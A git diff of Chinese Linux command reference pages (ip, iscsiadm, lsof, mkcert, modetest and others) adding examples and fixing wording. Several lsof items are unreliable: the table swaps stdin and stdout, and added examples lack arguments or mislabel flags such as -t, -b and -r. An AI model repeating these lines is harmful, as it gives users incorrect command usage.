+- %svctm:平均每次设备 I/O 操作的服务时间 (毫秒)。一般要小于 await (因为同时等待的请求的等待时间被重复计算了),svctm 的大小一般和磁盘性能有关,CPU/内存的负荷也会对其有影响,请求过多也会间接导致 svctm 的增加。await 的大小一般取决于服务时间(svctm) 以及 I/O 队列的长度和 I/O 请求的发出模式。如果 svctm 比较接近 await,说明 I/O 几乎没有等待时间;如果 await 远大于 svctm,说明 I/O 队列太长,应用得到的响应时间变慢,如果响应时间超过了用户可以容许的范围,这时可以考虑更换更快的磁盘,调整内核 elevator 算法,优化应用,或者升级 CPU
diff --git a/command/ip.md b/command/ip.md
index 01f2e99060e..a4112e81d1a 100644
--- a/command/ip.md
+++ b/command/ip.md
@@ -10,12 +10,12 @@ ip
### 语法
```shell
-ip(选项)(参数)
+ip(选项)(对象)
Usage: ip [ OPTIONS ] OBJECT { COMMAND | help }
ip [ -force ] -batch filename
```
-### 选项
+### 对象
```shell
OBJECT := { link | address | addrlabel | route | rule | neigh | ntable |
@@ -31,7 +31,7 @@ OBJECT := { link | address | addrlabel | route | rule | neigh | ntable |
-r:显示主机时,不使用IP地址,而使用主机的域名。
```
-### 参数
+### 选项
```shell
OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] |
@@ -50,16 +50,16 @@ help:显示网络对象支持的操作命令的帮助信息。
### 实例
```shell
-ip link show # 显示网络接口信息
+ip link show # 显示网络接口信息
ip link set eth0 up # 开启网卡
ip link set eth0 down # 关闭网卡
ip link set eth0 promisc on # 开启网卡的混合模式
-ip link set eth0 promisc offi # 关闭网卡的混个模式
+ip link set eth0 promisc offi # 关闭网卡的混合模式
ip link set eth0 txqueuelen 1200 # 设置网卡队列长度
ip link set eth0 mtu 1400 # 设置网卡最大传输单元
ip addr show # 显示网卡IP信息
-ip addr add 192.168.0.1/24 dev eth0 # 设置eth0网卡IP地址192.168.0.1
-ip addr del 192.168.0.1/24 dev eth0 # 删除eth0网卡IP地址
+ip addr add 192.168.0.1/24 dev eth0 # 为eth0网卡添加一个新的IP地址192.168.0.1
+ip addr del 192.168.0.1/24 dev eth0 # 为eth0网卡删除一个IP地址192.168.0.1
ip route show # 显示系统路由
ip route add default via 192.168.1.254 # 设置系统默认路由
diff --git a/command/iscsiadm.md b/command/iscsiadm.md
new file mode 100644
index 00000000000..642674f8b8f
--- /dev/null
+++ b/command/iscsiadm.md
@@ -0,0 +1,98 @@
+iscsiadm
+===
+
+管理iSCSI连接
+
+## 补充说明
+
+**iscsiadm命令** 用于管理 iSCSI(Internet Small Computer System Interface)存储连接。iSCSI 是一种基于网络的存储协议,允许在计算机之间传输块级别的数据。iscsiadm 命令提供了与 iSCSI 存储设备进行连接、配置和管理的功能。
+```shell
+yum install iscsi-initiator-utils #安装iscsiadm
+/etc/iscsi/initiatorname.iscsi #iscsi启动器名称配置文件位置
+systemctl enable iscsi #设置服务开机启动
+systemctl enable iscsid
+systemctl restart iscsi #重启iscsi服务
+systemctl restart iscsid
+```
+
+## 语法
+
+```shell
+iscsiadm [选项] <命令> <参数>
+```
+
+## 选项
+
+```shell
+-m,--mode # <模式> 指定工作模式,如discovery(发现模式)、node(管理节点)、session(管理会话)、discoverydb、host、iface(管理 iSCSI 网络接口);
+-t,--type # 指定类型,如sendtargets (或st)、isns、fw,仅用于discovery模式;
+-T,--targetname # 指定目标名称,仅用于node模式;
+-p,--portal # 指定目标IP,不带端口默认使用3260,仅用于discovery、node模式;
+-l,--login # 登录一个iSCSI设备,仅用于discovery、node模式;
+-u,--logout # 退出一个iSCSI设备,仅用于node、session模式;
+-I,--interface # 指定用于iSCSI操作的网络接口;
+-P,--print # <0-4> 打印详细,用于discovery、node、session模式;
+-s,--stats # 查看会话状态
+-h,--help # 显示帮助;
+-V,--version # 显示版本信息。
+```
+
+## 实例
+
+发送iSCSI发现请求,并列出发现的iSCSI设备目标器:
+
+```shell
+[root@Azroy-s1 ~]# iscsiadm -m discovery -t st -p 10.10.10.10
+10.10.10.10:3260,1 iqn.2000-01.com.synology:NAS.default-target.1
+```
+
+登录到发现的iSCSI目标器:
+
+```shell
+[root@Azroy-s1 ~]# iscsiadm -m node -T iqn.2000-01.com.synology:NAS.target.1 -p 10.10.10.10 -l
+Logging in to [iface: default, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] (multiple)
+Login to [iface: default, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] successful.
+```
+
+查看已登录的设备:
+
+```shell
+[root@Azroy-s1 ~]# iscsiadm -m session
+tcp: [3] 10.10.10.10:3260,1 iqn.2000-01.com.synology:NAS.target.1 (non-flash)
+```
+
+退出已登录的设备:
+
+```shell
+[root@Azroy-s1 ~]# iscsiadm -m node -T iqn.2000-01.com.synology:NAS.target.1 -p 10.10.10.10 -u
+Logging out of session [sid: 11, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260]
+或
+[root@Azroy-s1 ~]# iscsiadm -m session -u #退出所有iscsi会话
+```
+
+使用lsblk或fdisk查看硬盘,对硬盘分区再格式化后可挂载目录
+
+```shell
+[root@Azroy-s1 ~]# lsblk
+NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
+sda 8:0 0 1.8T 0 disk
+├─sda1 8:1 0 1G 0 part /boot
+└─sda2 8:2 0 1.8T 0 part
+ ├─centos-root 253:0 0 1.8T 0 lvm /
+ └─centos-swap 253:1 0 5.9G 0 lvm [SWAP]
+sdb 8:32 0 10G 0 disk
+
+[root@Azroy-s1 ~]# lsblk -S /dev/sd* #可以查看硬盘传输类型
+NAME HCTL TYPE VENDOR MODEL REV TRAN
+sda 0:1:0:0 disk HP LOGICAL VOLUME 3.00 sas
+sdb 12:0:0:1 disk SYNOLOGY Storage 4.0 iscsi
+
+[root@Azroy-s1 ~]# fdisk -l /dev/sdb
+磁盘 /dev/sdb:10.7 GB, 10737418240 字节,20971520 个扇区
+Units = 扇区 of 1 * 512 = 512 bytes
+扇区大小(逻辑/物理):512 字节 / 512 字节
+I/O 大小(最小/最佳):512 字节 / 512 字节
+```
+
+
+
diff --git a/command/join.md b/command/join.md
index 0ff56651e39..50fdccdadd4 100644
--- a/command/join.md
+++ b/command/join.md
@@ -31,4 +31,33 @@ join(选项)(参数)
* 文件1:要进行合并操作的第1个文件参数;
* 文件2:要进行合并操作的第2个文件参数。
+### 常见用法
+把两个文件制定栏位内容相同的行连接起来:
+
+```shell
+[root@localhost ~]# cat name
+1 xiaoming
+2 xiaowang
+3 xiaoliu
+[root@localhost ~]# cat city
+1 beijing beijing
+2 hubei wuhan
+3 hunan changsha
+
+# city文件在后,则拼接在后,如果city文件在前,则name文件拼接在后。
+[root@localhost ~]# join name city
+1 xiaoming beijing beijing
+2 xiaowang hubei wuhan
+3 xiaoliu hunan changsha
+```
+
+把两个文件指定列拼接起来:
+
+```shell
+# 把name文件的第2列和city文件的第3列拼接起来
+[root@localhost ~]# join -o 1.2 2.3 name city
+xiaoming beijing
+xiaowang wuhan
+xiaoliu changsha
+```
diff --git a/command/journalctl.md b/command/journalctl.md
index e87fcb51040..2c9b8510a49 100644
--- a/command/journalctl.md
+++ b/command/journalctl.md
@@ -1,7 +1,7 @@
journalctl
===
-检索 systemd 日志,是 CentOS 7 才有的工具。
+检索 systemd 日志,只要使用 systemd 的 Linux 发行版(如 Fedora、Ubuntu Modern、Debian、SUSE、Arch),几乎都会配备 journalctl。
### 语法
diff --git a/command/kill.md b/command/kill.md
index 6ed87ecc371..f542d66586b 100644
--- a/command/kill.md
+++ b/command/kill.md
@@ -10,19 +10,19 @@ kill
## 内建命令
-#### 概要
+### 概要
```shell
kill [-s sigspec | -n signum | -sigspec] pid | jobspec ...
kill -l [sigspec]
```
-#### 主要用途
+### 主要用途
- 发送信号到作业或进程(可以为多个)。
- 列出信号。
-#### 选项
+### 选项
```shell
-s sig 信号名称。
@@ -31,17 +31,17 @@ kill -l [sigspec]
-L 等价于-l选项。
```
-#### 参数
+### 参数
pid:进程ID
jobspec:作业标识符
-#### 返回值
+### 返回值
返回状态为成功除非给出了非法选项、执行出现错误。
-#### 例子
+### 例子
```shell
[user2@pc] kill -l 9
@@ -110,7 +110,7 @@ STOP 19 暂停(同 Ctrl + Z)
[1]+ 181537 Running sleep 90 &
```
-#### 注意
+### 注意
1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。
2. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
@@ -118,20 +118,20 @@ STOP 19 暂停(同 Ctrl + Z)
## 外部命令
-#### 概要
+### 概要
```shell
kill [-signal|-s signal|-p] [-q value] [-a] [--] pid|name...
kill -l [number] | -L
```
-#### 主要用途
+### 主要用途
- 发送信号到进程(可以为多个)。
- 列出信号。
-#### 选项
+### 选项
```shell
-s, --signal signal 要发送的信号,可能是信号名称或信号对应的数字。
@@ -147,7 +147,7 @@ kill -l [number] | -L
--version 显示版本信息并退出。
```
-#### 参数
+### 参数
接收信号的进程列表可以是PID以及name的混合组成。
@@ -162,7 +162,7 @@ n | 当n大于0时,PID为n的进程接收信号。
name:使用此名称调用的所有进程将接收信号。
-#### 例子
+### 例子
```shell
> sleep 20 &
@@ -172,19 +172,20 @@ name:使用此名称调用的所有进程将接收信号。
23021
```
-#### 返回值
+### 返回值
- 0 成功。
- 1 失败。
- 64 部分成功(当指定了多个进程时)。
-#### 注意
+### 注意
1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 kill`或`info coreutils 'kill invocation'`。
2. 启动或关闭内建命令请查看`enable`命令,关于同名优先级的问题请查看`builtin`命令的例子部分的相关讨论。
3. 与`kill`命令类似的有`xkill`,`pkill`,`killall`等,用于不同的目的和场景。
-#### 参考链接
+## 参考链接
+
[发送信号到进程](https://bash.cyberciti.biz/guide/Sending_signal_to_Processes)
diff --git a/command/less.md b/command/less.md
index 9e8d8064f29..9dfc559bbe6 100644
--- a/command/less.md
+++ b/command/less.md
@@ -24,6 +24,7 @@ less(选项)(参数)
-s:将连续多个空行压缩成一行显示;
-S:在单行显示较长的内容,而不换行显示;
-x<数字>:将TAB字符显示为指定个数的空格字符。
+-r:能够显示设置的颜色。
```
### 参数
@@ -34,6 +35,23 @@ less(选项)(参数)
```shell
sudo less /var/log/shadowsocks.log
+
+/字符串:向下搜索"字符串"的功能
+?字符串:向上搜索"字符串"的功能
+n:继续向后搜索
+N:向前搜索
+b: 向后翻一页
+d: 向后翻半页
+u: 向前滚动半页
+y: 向前滚动一行
+Q: 退出less 命令
+空格键: 滚动一页
+回车键: 滚动一行
+[pagedown]: 向下翻动一页
+[pageup]: 向上翻动一页
+G: 移动到最后一行
+g: 移动到第一行
+
```
diff --git a/command/ln.md b/command/ln.md
index f1afe832443..e9dd3df16d4 100644
--- a/command/ln.md
+++ b/command/ln.md
@@ -57,7 +57,7 @@ simple, never # 永远使用普通方式备份
```shell
cd /usr/mengqc
-ln /mub1/m2.c /usr/liu/a2.c
+ln mub1/m2.c /usr/liu/a2.c
```
在执行ln命令之前,目录`/usr/liu`中不存在a2.c文件。执行ln之后,在`/usr/liu`目录中才有a2.c这一项,表明m2.c和a2.c链接起来(注意,二者在物理上是同一文件),利用`ls -l`命令可以看到链接数的变化。
diff --git a/command/losetup.md b/command/losetup.md
index 237436c97df..bedaea698b2 100644
--- a/command/losetup.md
+++ b/command/losetup.md
@@ -45,7 +45,7 @@ losetup [ -d ] loop_device
dd if=/dev/zero of=floppy.img bs=512 count=2880
```
-使用 losetup将磁盘镜像文件虚拟成快设备:
+使用 losetup 将磁盘镜像文件虚拟成块设备:
```shell
losetup /dev/loop1 floppy.img
@@ -57,7 +57,7 @@ losetup /dev/loop1 floppy.img
mount /dev/loop0 /tmp
```
-经过上面的三步之后,我们就可以通过/tmp目录,像访问真实快设备一样来访问磁盘镜像文件floppy.img。
+经过上面的三步之后,我们就可以通过/tmp目录,像访问真实块设备一样来访问磁盘镜像文件floppy.img。
卸载loop设备:
diff --git a/command/lscpu.md b/command/lscpu.md
index 9e0ef350ff1..d6549c7c798 100644
--- a/command/lscpu.md
+++ b/command/lscpu.md
@@ -71,5 +71,17 @@ L2 cache: 256K
L3 cache: 8192K
NUMA node0 CPU(s): 0-3
```
-
+```shell
+# 查看cpu编号对应的核心号码,区分是大核还是小核。
+[root@localhost ~]# lscpu -e
+CPU NODE SOCKET CORE L1d:L1i:L2:L3 ONLINE MAXMHZ MINMHZ
+0 0 0 0 0:0:0:0 是 3600.0000 800.0000
+1 0 0 1 1:1:1:0 是 3600.0000 800.0000
+2 0 0 2 2:2:2:0 是 3600.0000 800.0000
+3 0 0 3 3:3:3:0 是 3600.0000 800.0000
+4 0 0 0 0:0:0:0 是 3600.0000 800.0000
+5 0 0 1 1:1:1:0 是 3600.0000 800.0000
+6 0 0 2 2:2:2:0 是 3600.0000 800.0000
+7 0 0 3 3:3:3:0 是 3600.0000 800.0000
+```
diff --git a/command/lsof.md b/command/lsof.md
index 9ba481ac1dd..59ca84d9c2d 100644
--- a/command/lsof.md
+++ b/command/lsof.md
@@ -64,69 +64,80 @@ events/0 6 root txt unknown /proc
events/1 7 root cwd DIR 8,2 4096 2 /
```
- **lsof输出各列信息的意义如下:**
+**lsof输出各列信息的意义如下:**
-* COMMAND:进程的名称
-* PID:进程标识符
-* PPID:父进程标识符(需要指定-R参数)
-* USER:进程所有者
-* PGID:进程所属组
-* FD:文件描述符,应用程序通过文件描述符识别该文件。
+标识 | 说明
+:- | :-
+`COMMAND` | 进程的名称
+`PID` | 进程标识符
+`PPID` | 父进程标识符(需要指定-R参数)
+`USER` | 进程所有者
+`PGID` | 进程所属组
+`FD` | 文件描述符,应用程序通过它识别该文件
文件描述符列表:
-1. cwd:表示current work dirctory,即:应用程序的当前工作目录,这是该应用程序启动的目录,除非它本身对这个目录进行更改
-2. txt:该类型的文件是程序代码,如应用程序二进制文件本身或共享库,如上列表中显示的 /sbin/init 程序
-3. lnn:library references (AIX);
-4. er:FD information error (see NAME column);
-5. jld:jail directory (FreeBSD);
-6. ltx:shared library text (code and data);
-7. mxx :hex memory-mapped type number xx.
-8. m86:DOS Merge mapped file;
-9. mem:memory-mapped file;
-10. mmap:memory-mapped device;
-11. pd:parent directory;
-12. rtd:root directory;
-13. tr:kernel trace file (OpenBSD);
-14. v86 VP/ix mapped file;
-15. 0:表示标准输出
-16. 1:表示标准输入
-17. 2:表示标准错误
+标识 | 说明
+:- | :-
+`cwd` | 表示当前工作目录,即:应用程序的当前工作目录,这是该应用程序启动的目录,除非它本身对这个目录进行更改
+`txt` | 该类型的文件是程序代码,如应用程序二进制文件本身或共享库,如上列表中显示的 /sbin/init 程序
+`lnn` | 库引用 (AIX);
+`er` | FD 信息错误(参见名称栏)
+`jld` | jail 目录 (FreeBSD);
+`ltx` | 共享库文本(代码和数据)
+`mxx` | 十六进制内存映射类型编号xx
+`m86` | DOS合并映射文件
+`mem` | 内存映射文件
+`mmap` | 内存映射设备
+`pd` | 父目录
+`rtd` | 根目录
+`tr` | 内核跟踪文件 (OpenBSD)
+`v86` | VP/ix 映射文件
+`0` | 表示标准输出
+`1` | 表示标准输入
+`2` | 表示标准错误
一般在标准输出、标准错误、标准输入后还跟着文件状态模式:
-1. u:表示该文件被打开并处于读取/写入模式。
-2. r:表示该文件被打开并处于只读模式。
-3. w:表示该文件被打开并处于写入模式。
-4. 空格:表示该文件的状态模式为unknow,且没有锁定。
-5. -:表示该文件的状态模式为unknow,且被锁定。
+标识 | 说明
+:- | :-
+`u` | 表示该文件被打开并处于读取/写入模式
+`r` | 表示该文件被打开并处于只读模式
+`w` | 表示该文件被打开并处于写入模式
+`空格` | 表示该文件的状态模式为 unknow,且没有锁定
+`-` | 表示该文件的状态模式为 unknow,且被锁定
同时在文件状态模式后面,还跟着相关的锁:
-1. N:for a Solaris NFS lock of unknown type;
-2. r:for read lock on part of the file;
-3. R:for a read lock on the entire file;
-4. w:for a write lock on part of the file;(文件的部分写锁)
-5. W:for a write lock on the entire file;(整个文件的写锁)
-6. u:for a read and write lock of any length;
-7. U:for a lock of unknown type;
-8. x:for an SCO OpenServer Xenix lock on part of the file;
-9. X:for an SCO OpenServer Xenix lock on the entire file;
-10. space:if there is no lock.
-
-文件类型:
-
-1. DIR:表示目录。
-2. CHR:表示字符类型。
-3. BLK:块设备类型。
-4. UNIX: UNIX 域套接字。
-5. FIFO:先进先出 (FIFO) 队列。
-6. IPv4:网际协议 (IP) 套接字。
-7. DEVICE:指定磁盘的名称
-8. SIZE:文件的大小
-9. NODE:索引节点(文件在磁盘上的标识)
-10. NAME:打开文件的确切名称
-11. REG:常规文件
+标识 | 说明
+:- | :-
+`N` | 对于未知类型的Solaris NFS锁
+`r` | 用于部分文件的读取锁定
+`R` | 对整个文件进行读取锁定
+`w` | 对文件的一部分进行写锁定(文件的部分写锁)
+`W` | 对整个文件进行写锁定(整个文件的写锁)
+`u` | 用于任何长度的读写锁
+`U` | 对于未知类型的锁
+`x` | 对于文件部分的SCO OpenServer Xenix锁
+`X` | 对于整个文件的SCO OpenServer Xenix锁
+`space` | 如果没有锁
+
+
+**文件类型**
+
+标识 | 说明
+:- | :-
+`DIR` | 表示目录
+`CHR` | 表示字符类型
+`BLK` | 块设备类型
+`UNIX` | UNIX 域套接字
+`FIFO` | 先进先出 (FIFO) 队列
+`IPv4` | 网际协议 (IP) 套接字
+`DEVICE` | 指定磁盘的名称
+`SIZE` | 文件的大小
+`NODE` | 索引节点(文件在磁盘上的标识)
+`NAME` | 打开文件的确切名称
+`REG` | 常规文件
列出指定进程号所打开的文件:
@@ -146,4 +157,99 @@ lsof -i:9981 -P -t -sTCP:LISTEN
lsof $filename
```
+查看端口占用
+```shell
+lsof -i:$port
+```
+
+**查看所有打开的文件:**
+
+```
+lsof
+```
+
+**查看指定进程打开的文件:**
+
+```
+lsof -p
+```
+
+**查看指定用户打开的文件:**
+
+```
+lsof -u
+```
+
+**查看指定文件名相关的进程:**
+
+```
+lsof
+```
+
+**查看网络连接相关的进程:**
+
+```
+lsof -i
+```
+
+**查看指定端口相关的进程:**
+
+```
+lsof -i :
+```
+
+**查看正在使用某个目录的进程:**
+
+```
+lsof +D /path/to/directory
+```
+
+**查看被删除但仍然被某个进程打开的文件:**
+
+```
+lsof -u +L1
+```
+
+**查看某个文件系统上被打开的文件:**
+
+```
+lsof /mountpoint
+```
+
+**以列表形式显示结果:**
+
+```
+lsof -F
+```
+
+**显示结果中不包含主机名:**
+
+```
+lsof -n
+```
+
+**显示结果中不包含进程路径:**
+
+```
+lsof -b
+```
+
+**以逆序显示结果:**
+
+```
+lsof -r
+```
+
+**以特定间隔时间循环显示结果:**
+
+```
+lsof -r
+```
+
+**以持续模式显示结果:**
+
+```
+lsof -t
+```
+
diff --git a/command/lvcreate.md b/command/lvcreate.md
index bea90263e8e..71c5cb5ef76 100644
--- a/command/lvcreate.md
+++ b/command/lvcreate.md
@@ -16,6 +16,7 @@ lvcreate(选项)(参数)
### 选项
```shell
+-n: 指定逻辑卷的名称
-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节;
-l:指定逻辑卷的大小(LE数)。
```
@@ -29,7 +30,7 @@ lvcreate(选项)(参数)
使用lvcreate命令在卷组"vg1000"上创建一个200MB的逻辑卷。在命令行中输入下面的命令:
```shell
-[root@localhost ~]# lvcreate -L 200M vg1000 #创建大小为200M的逻辑卷
+[root@localhost ~]# lvcreate -L 200M -n lvol0 vg1000 #创建大小为200M的逻辑卷
```
输出信息如下:
diff --git a/command/mkcert.md b/command/mkcert.md
new file mode 100644
index 00000000000..21901b22c1a
--- /dev/null
+++ b/command/mkcert.md
@@ -0,0 +1,198 @@
+mkcert
+===
+
+用来生成自签证书的工具
+
+## 示例
+
+`mkcert` 是 GO 编写的,一个简单的**零配置**的用来生成自签证书的工具。
+
+下面给一个简单的示例,在本地生成自签证书,并使用让 nc 使用生成的证书。
+
+```zsh
+~ ········································································································································· 10:46:25
+❯ mkcert -install
+The local CA is already installed in the system trust store! 👍The local CA is already installed in the Firefox and/or Chrome/Chromium trust store! 👍
+~ ········································································································································· 10:46:34
+❯ mkcert example.com "*.example.com" example.test localhost 127.0.0.1 ::1
+
+Created a new certificate valid for the following names 📜 - "example.com"
+ - "*.example.com"
+ - "example.test"
+ - "localhost"
+ - "127.0.0.1"
+ - "::1"
+
+Reminder: X.509 wildcards only go one level deep, so this won't match a.b.example.com ℹ️
+
+The certificate is at "./example.com+5.pem" and the key at "./example.com+5-key.pem" ✅
+It will expire on 30 January 2025 🗓
+
+~ ········································································································································· 10:47:37
+❯ ls
+公共 视频 文档 音乐 aria aria2-downloads Dockerfile example.com+5.pem GOPATH minio-binaries nowip_hosts.txt tech_backend.jar
+模板 图片 下载 桌面 aria2-config cv_debug.log example.com+5-key.pem go math navicat_reset src
+~ ········································································································································· 10:47:55
+❯ ncat -lvp 1589 --ssl-key example.com+5-key.pem --ssl-cert example.com+5.pem
+Ncat: Version 7.92 ( https://nmap.org/ncat )
+Ncat: Listening on :::1589
+Ncat: Listening on 0.0.0.0:1589
+Ncat: Connection from 127.0.0.1.
+Ncat: Connection from 127.0.0.1:39156.
+Ncat: Failed SSL connection from 127.0.0.1: error:00000000:lib(0):func(0):reason(0)
+```
+
+`mkcert` 自动生成并安装一个本地 CA 到 root stores,并且生成 locally-trusted 证书。`mkcert` 不会自动使用证书来配置服务器,不过,这取决于你。
+
+## 安装
+
+> Warning: `mkcert` 自动生成的 `rootCA-key.pem` 文件提供了完整的能力来拦截你机器上的安全请求。请不要分享它。
+
+### macOS
+
+```bash
+$ brew install mkcert
+$ brew install nss # 如果用 Firefox 的话
+```
+
+### Linux
+
+在 Linux 上,首先要安装 `certutil`
+
+```bash
+$ sudo apt install libnss3-tools
+# -or-
+$ sudo yum install nss-tools
+# -or-
+$ sudo pacman -S nss
+# -or-
+$ sudo zypper install mozilla-nss-tools
+```
+
+然后可以使用 [Homebrew on Linux](https://docs.brew.sh/Homebrew-on-Linux) 来安装。
+
+```bash
+$ brew install mkcert
+```
+
+或者从源码构建(要求 Go 1.13+)
+
+```bash
+git clone https://github.com/FiloSottile/mkcert && cd mkcert
+go build -ldflags "-X main.Version=$(git describe --tags)"
+```
+
+又或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。
+
+```bash
+$ curl -JLO "https://dl.filippo.io/mkcert/latest?for=linux/amd64"
+$ chmod +x mkcert-v*-linux-amd64
+$ sudo cp mkcert-v*-linux-amd64 /usr/local/bin/mkcert
+```
+
+对于 Arch Linux 用户(比如我),[`mkcert`](https://www.archlinux.org/packages/community/x86_64/mkcert/) 在 Arch Linux 官方仓库中可用。
+
+```bash
+$ sudo pacman -S mkcert
+```
+
+### Windows
+
+使用 [Chocolatey](https://chocolatey.org/)
+
+```bash
+$ choco install mkcert
+```
+
+或者使用 Scoop
+
+```bash
+$ scoop bucket add extras
+$ scoop install mkcert
+```
+
+或者从源码构建(要求 Go 1.10+) ,或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。
+
+如果遇到权限问题,请使用管理员运行 `mkcert`
+
+## 支持的 root stores
+
+`mkcert` 支持以下 root stores:
+
+- macOS system store
+- Windows system store
+- Linux 发行版提供
+ - `update-ca-trust` (Fedora,RHEL,CentOS)或者
+ - `update-ca-certificates` (Ubuntu,Debian,OpenSUSE,SLES)或者
+ - `trust` (Arch)
+- Firefox (仅 macOS 和 Linux)
+- Chrome 和 Chromium
+- Java(当 `JAVA_HOME` 被设置时)
+
+为了把 local root CA 装到这些 root stores 中,你可以设置 `TRUST_STORES` 环境变量到一个逗号分隔的 list。有这些选项:"system","java" 和 "nss"(包括了 Firefox)。
+
+## 高级 topics
+
+### 高级选项
+
+```bash
+-cert-file FILE, -key-file FILE, -p12-file FILE
+ # 自定义输出路径.
+-client # 生成供客户端认证使用的证书.
+-ecdsa # 生成使用一个 ECDSA (一种椭圆曲线签名算法)key 来生成证书.
+-pkcs12 # 生成一个 ".p12" PKCS #12 文件,也可以被识别为 ".pfx" 文件,
+ # 包含 cert 和 key for legacy applications.
+-csr CSR # 生成一个给予 CSR(证书签名申请) 的证书。
+ # 与除了 -install 和 -cert-file 以外的其它所以 flag 和参数冲突!
+```
+
+[SSL 证书 什么是CSR?-常见问题-文档中心-腾讯云](https://cloud.tencent.com/document/product/400/5367)
+
+> **请注意!** 你必须把这些选项放在域名列表之前。
+
+### 例如
+
+```bash
+mkcert -key-file key.pem -cert-file cert.pem example.com *.example.com
+```
+
+### S/MIME (邮件安全证书)
+
+用下面这种方式 `mkcert` 会生成一个 S/MIME 证书:
+
+```bash
+mkcert filippo@example.com
+```
+
+### 移动设备
+
+对于要让移动设备信任证书的情况,你得安装 root CA。就是 `rootCA.pem` 这个文件,可以通过 `mkcert -CAROOT` 打印出这个文件所在的目录。
+
+在 iOS 上,你也可以使用 AirDrop,把 CA 邮件发给你自己,或者通过一个 HTTP server 提供它。在打开它之后,你需要 [install the profile in Settings > Profile Downloaded](https://github.com/FiloSottile/mkcert/issues/233#issuecomment-690110809) and then [enable full trust in it](https://support.apple.com/en-nz/HT204477) 。
+
+对于 Android ,你得安装这个 CA 然后在应用程序的开发版本中启用 user roots。可以看一看这个 [StackOverflow 回答](https://stackoverflow.com/a/22040887/749014) 。
+
+### 用 Node.js 来使用这个 root
+
+Node 不使用 system root store,所以它不会自动接受 `mkcert` 证书。相反,你得设置 [`NODE_EXTRA_CA_CERTS`](https://nodejs.org/api/cli.html#cli_node_extra_ca_certs_file) 环境变量。
+
+```bash
+export NODE_EXTRA_CA_CERTS="$(mkcert -CAROOT)/rootCA.pem"
+```
+
+### 改变 CA 文件的位置
+
+CA 证书和它的 key 被存储在用户家目录的一个文件夹中。一般来说你不会想去关注它的位置,因为它会被自动装载。但是你可以通过 `mkcert -CAROOT` 来打印这个目录位置。
+
+如果你想要管理单独的 CA 们,你可以使用 `\$CAROOT` 环境变量来设置 mkcert 放置和寻找 CA files 的路径。
+
+### 在其它系统上安装 CA
+
+安装 trust store 不需要 CA key(只要 CA),所以你可以导出 CA,并且使用 `mkcert` 来安装到其它机器上。
+
+- 找到 `rootCA.pem` 文件,可以用 `mkcert -CAROOT` 找到对应目录。
+- 把它 copy 到别的机器上。
+- 设置 `\$CAROOT` 为 `rootCA.pem` 所在目录。
+- 运行 `mkcert -install`(arch linux 可以 `sudo trust anchor --store rootCA.pem`,其它发行版可以用自带的命令手动添加来信任 CA)
+
+请千万记住 `mkcert` 是用于开发目的的,不建议用于生产,所以它不应该被用到用户终端上,并且你不应该导出或者共享 `rootCA-key.pem` 。
diff --git a/command/mkdir.md b/command/mkdir.md
index ce9c5ef2cea..7b6cd36db5a 100644
--- a/command/mkdir.md
+++ b/command/mkdir.md
@@ -44,4 +44,27 @@ mkdir -m 700 /usr/meng/test
mkdir -p-m 750 bin/os_1
```
+### 补充
+-m :配置文件的权限
+
+ 如:755
+
+ 每个数字代表不同的权限集合,分别为:
+
+ - 第一个数字`7`:所有者(user)的权限
+ - 第二个数字`5`:所属组(group)的权限
+ - 第三个数字`5`:其他用户(others)的权限
+
+ 每个数字是以下权限的组合:
+ - 读权限 (read) - 4
+ - 写权限 (write) - 2
+ - 执行权限 (execute) - 1
+
+ 因此,`755`的具体权限为:
+
+ - `7`(所有者)= 4 (读) + 2 (写) + 1 (执行) = 7
+ - `5`(所属组)= 4 (读) + 1 (执行) = 5
+ - `5`(其他用户)= 4 (读) + 1 (执行) = 5
+
+
diff --git a/command/modetest.md b/command/modetest.md
new file mode 100644
index 00000000000..2c14428a00c
--- /dev/null
+++ b/command/modetest.md
@@ -0,0 +1,144 @@
+modetest
+===
+
+DRM/KMS驱动程序libdrm中的模式测试工具
+
+## 补充说明
+
+`modetest` 是一个用于测试和验证 DRM(Direct Rendering Manager)驱动程序功能的命令行工具。
+
+### 安装
+
+- **源码**:[Mesa / drm · GitLab](https://gitlab.freedesktop.org/mesa/drm)
+- **下载**:[Index of /libdrm (dri.freedesktop.org)](https://dri.freedesktop.org/libdrm/)
+
+__编译__
+
+```shell
+./configure --prefix=/opt/ --host=aarch64-linux-gnu
+make && make install
+## 编译删除
+make distclean
+```
+
+__参考__:[libdrm调试准备 - 简书](https://www.jianshu.com/p/a9152ca3e7ab)
+
+### 语法
+
+```shell
+modetest [选项]
+```
+
+### 选项
+
+```shell
+# 查询选项
+-c 列出连接器
+-e 列出编码器
+-f 列出帧缓冲
+-p 列出 CRTCs 和平面
+
+# 测试选项
+-P @:x[++][*][@] 设置一个平面
+-s [,][@]:[-][@] 设置一个显示模式
+-C 测试硬件光标
+-v 测试垂直同步页面翻转
+-w :: 设置属性
+
+# 通用选项
+-a 启用原子模式设置
+-d 在模式设置后放弃主控权限
+-M 指定要使用的驱动程序模块
+-D 指定要使用的设
+```
+
+### 参数
+
+`` 驱动模块
+
+- i915:Intel 集成显卡驱动模块
+- amdgpu:AMD Radeon 显卡驱动模块
+- radeon:旧版 AMD Radeon 显卡驱动模块
+- nouveau:NVIDIA 开源显卡驱动模块
+- vmwgfx:VMware 显卡驱动模块
+- omapdrm:TI OMAP 显卡驱动模块
+- exynos:三星 Exynos 显卡驱动模块
+- tilcdc:TI LCD 控制器显卡驱动模块
+- msm:Qualcomm MSM 显卡驱动模块
+- sti:STMicroelectronics 显卡驱动模块
+- tegra:NVIDIA Tegra 显卡驱动模块
+- imx-drm:Freescale i.MX 显卡驱动模块
+- rockchip:Rockchip 显卡驱动模块
+
+### 实例
+
+使用 `modetest` 查看相关信息
+
+```shell
+~# modetest
+Encoders: # 省略了好多好多
+id crtc type possible crtcs possible clones
+194 0 Virtual 0x0000000f 0x00000001
+196 88 TMDS 0x00000002 0x00000002
+210 0 DSI 0x00000004 0x00000004
